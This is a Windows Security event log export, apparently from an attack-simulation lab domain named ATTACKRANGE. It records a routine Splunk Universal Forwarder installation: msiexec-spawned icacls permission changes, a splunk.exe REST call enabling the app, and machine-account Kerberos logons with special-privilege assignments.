Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFAB54

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250101
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1344
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1330
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	splunkd rest --noauth POST /services/apps/local/SplunkUniversalForwarder/enable

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250100
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1330
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x130c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  cmd splunkd rest --noauth POST /services/apps/local/SplunkUniversalForwarder/enable 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250099
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1314
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x130c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250098
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2ec
	Creator Process Name:	C:\Windows\System32\msiexec.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" cmd splunkd rest --noauth POST /services/apps/local/SplunkUniversalForwarder/enable >> "C:\Users\ADMINI~1\AppData\Local\Temp\splunk.log" 2>&1"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250097
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12ec
	New Process Name:	C:\Windows\System32\icacls.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12c8
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	C:\Windows\system32\icacls.exe  "C:\Program Files\SplunkUniversalForwarder\*" /inheritance:e /T /C 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250096
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12d0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12c8
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250095
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2ec
	Creator Process Name:	C:\Windows\System32\msiexec.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Windows\system32\icacls.exe "C:\Program Files\SplunkUniversalForwarder\*" /inheritance:e /T /C >> "C:\Users\ADMINI~1\AppData\Local\Temp\splunk.log" 2>&1"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250094
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12b4
	New Process Name:	C:\Windows\System32\icacls.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1290
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	C:\Windows\system32\icacls.exe  "C:\Program Files\SplunkUniversalForwarder" /remove:g *BU /T /C 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250093
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1298
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1290
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250092
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1290
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2ec
	Creator Process Name:	C:\Windows\System32\msiexec.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Windows\system32\icacls.exe "C:\Program Files\SplunkUniversalForwarder" /remove:g *BU /T /C >> "C:\Users\ADMINI~1\AppData\Local\Temp\splunk.log" 2>&1"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250091
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x127c
	New Process Name:	C:\Windows\System32\icacls.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1258
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	C:\Windows\system32\icacls.exe  "C:\Program Files\SplunkUniversalForwarder" /inheritance:d 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250090
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1260
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1258
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250089
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1258
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2ec
	Creator Process Name:	C:\Windows\System32\msiexec.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Windows\system32\icacls.exe "C:\Program Files\SplunkUniversalForwarder" /inheritance:d >> "C:\Users\ADMINI~1\AppData\Local\Temp\splunk.log" 2>&1"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250088
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFB8AE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250087
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFB8AE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64389

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250086
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFB8AE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250085
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFB84D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250084
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFB84D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64388

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250083
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFB84D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250082
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFB7E7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250081
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFB7E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64387

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250080
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFB7E7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:10 PM
LogName=Security
